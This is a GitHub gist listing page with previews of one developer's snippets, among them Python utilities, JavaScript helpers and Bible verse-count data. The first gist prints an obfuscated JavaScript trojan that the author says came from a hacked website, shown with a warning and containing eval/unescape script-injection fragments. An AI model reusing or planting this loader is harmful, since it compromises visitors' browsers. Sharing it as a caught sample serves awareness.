Skip to content

Instantly share code, notes, and snippets.

View eykd's full-sized avatar

David Eyk eykd

View GitHub Profile
@eykd
eykd / js_trojan_caught_in_wild.js
Created July 22, 2010 19:24
A Javascript trojan I found on a hacked website. Careful! Executing this code in your browser wil have unknown and likely harmful effects!
$a="Z63dZ3dZ22Z253dst+Z2553tZ2572iZ256eg.Z2566Z2572oZ256dCZ2568arCZ256fdeZ2528(tmZ2570Z252eZ2563hZ22;dzZ3dZ22Z2566Z2575nZ2563tZ2569on Z2564wZ2528t)Z257bcaZ253dZ2527Z252564Z25256fcZ252575mZ252565Z256eZ2574.Z252577ritZ252565Z25252Z2538Z252522Z2527;ceZ253dZ2527Z25252Z2532)Z2527;cZ2562Z253dZ2527Z25253cscrZ252569pZ252574Z2520Z25256caZ25256eguZ252561gZ252565Z25253dZ25255cZ252522Z256aaZ2576aZ2573Z2563Z252572iZ252570tZ2525Z2535Z2563Z252522Z25253Z2565Z2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ252572Z2569Z252570Z252574Z25253eZ2527;eZ2576aZ256c(unZ2565scaZ2570e(Z2574))Z257dZ253bZ22;caZ3dZ22Z2566Z2575Z256ecZ2574iZ256fn dZ2563sZ2528ds,Z2565sZ2529Z257bdsZ253duneZ2573capZ2565Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00
@eykd
eykd / beautiful_line_length.js
Created September 27, 2010 20:54 — forked from blaine/gist:428898
Sets the size of the body text to whatever works best for the current device. Based on code from http://blog.romeda.org/2010/06/beautiful-lines.html
var setTextMeasure = function (contentElement, targetMeasure, maxSize, minSize) {
if (!contentElement) contentElement = document.createElement('p');
if (!targetMeasure) targetMeasure = 66;
if (!maxSize) maxSize = 16;
if (!minSize) minSize = 9;
var sizer = contentElement.cloneNode();
sizer.style.cssText = 'margin: 0; padding: 0; color: transparent; background-color: transparent; position: absolute;';
@eykd
eykd / sqlalchemy_example.py
Created October 25, 2010 20:56
Example of using SQLAlchemy.
from sqlalchemy import create_engine
from sqlalchemy import Table, MetaData
from sqlalchemy import sql
def connectComm():
shopping_engine = create_engine('mysql://dbuser:******@comm/shopping', echo=False, strategy="threadlocal")
def _makeTable(name):
meta = MetaData()
@eykd
eykd / pycache.py
Created October 26, 2010 15:06
A simple script for caching packages on S3 and building simple HTML indices.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""pycache -- cache a python package from PyPI on S3.
A simple script to collect a cache of packages locally and sync them up to an S3 bucket, using directories as namespaces so that different projects can have different dependencies.
This is just about the simplest thing that could possibly work.
"""
import warnings
warnings.filterwarnings('ignore')
@eykd
eykd / parser_metatest_example.py
Created December 12, 2010 21:47
An example of using metaclasses to enable declarative tests.
# -*- coding: utf-8 -*-
"""actions.tests -- tests for action commands.
Copyright 2010 David Eyk. All rights reserved.
"""
import re
from django.test import TestCase
from . import base
from . import actions
@eykd
eykd / python_evolution.py
Created January 20, 2011 21:18
Profiling the factorial implementations at http://metaleks.net/programming/the-evolution-of-a-python-programmer/comment-page-1 with results for factorial(10) run 100,000 times.
# -*- coding: utf-8 -*-
"""Profiling The Evolution of the Python Programmer
Based on the code offered in good humor at
<http://metaleks.net/programming/the-evolution-of-a-python-programmer>.
I thought it would be fun to profile the various approaches to a
factorial implementation offered by Aleks. My attempt below.
I couldn't profile the EXPERT PROGRAMMERS or the Unix Programmer, as I
@eykd
eykd / esv_ranges.py
Created February 24, 2011 14:14
Data structure defining the number of verses in every chapter of every book of the ESV bible.
# list of books, padded with None to be 1-indexed
# each book is a tuple with name of book, # of chapters, [number of verses in each chapter]
# the list with the number of verses per chapter is padded to make it 1-indexed
passage_data = [None,
('Genesis', 50, [None, 31, 25, 24, 26, 32, 22, 24, 22, 29, 32, 32, 20, 18, 24, 21, 16, 27, 33, 38, 18, 34, 24, 20, 67, 34, 35,
46, 22, 35, 43, 55, 32, 20, 31, 29, 43, 36, 30, 23, 23, 57, 38, 34, 34, 28, 34, 31, 22, 33, 26]),
('Exodus', 40, [None, 22, 25, 22, 31, 23, 30, 25, 32, 35, 29, 10, 51, 22, 31, 27, 36, 16, 27, 25, 26, 36, 31, 33, 18, 40, 37, 21,
43, 46, 38, 18, 35, 23, 35, 35, 38, 29, 31, 43, 38]),
('Leviticus', 27, [None, 17, 16, 17, 35, 19, 30, 38, 36, 24, 20, 47, 8, 59, 57, 33, 34, 16, 30, 37, 27, 24, 33, 44, 23, 55, 46, 34]),
('Numbers', 36, [None, 54, 34, 51, 49, 31, 27, 89, 26, 23, 36, 35, 16, 33, 45, 41, 50, 13, 32, 22, 29, 35, 41, 30, 25, 18, 65,
@eykd
eykd / fragment_safe_url_escape.py
Created March 17, 2011 15:14
Safely escape a URL that has a hash fragment.
def escape(self, url):
# We don't want to escape the hash, if it exists.
if '#' in url:
url, fragment = url.split('#', 1)
else:
fragment = ''
# Escape the body of the URL and fragment
def _escape(url):
return '/'.join(
@eykd
eykd / find_urls.py
Created June 24, 2011 21:43
Unearth spoilers by finding non-placeholder-images from the URL pattern provided by Notch.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""find urls from @notch
"""
import time as t
import string as r
import urllib as b
u = 'http://i.imgur.com/IKc7%s.png'
for url in dict(t.sleep(1) or (b.urlopen(u%c).read(), u%c) for c in r.letters).values():
print url
@eykd
eykd / brew doctor
Created June 24, 2011 22:47
Error building rabbitmq
Your system is raring to brew.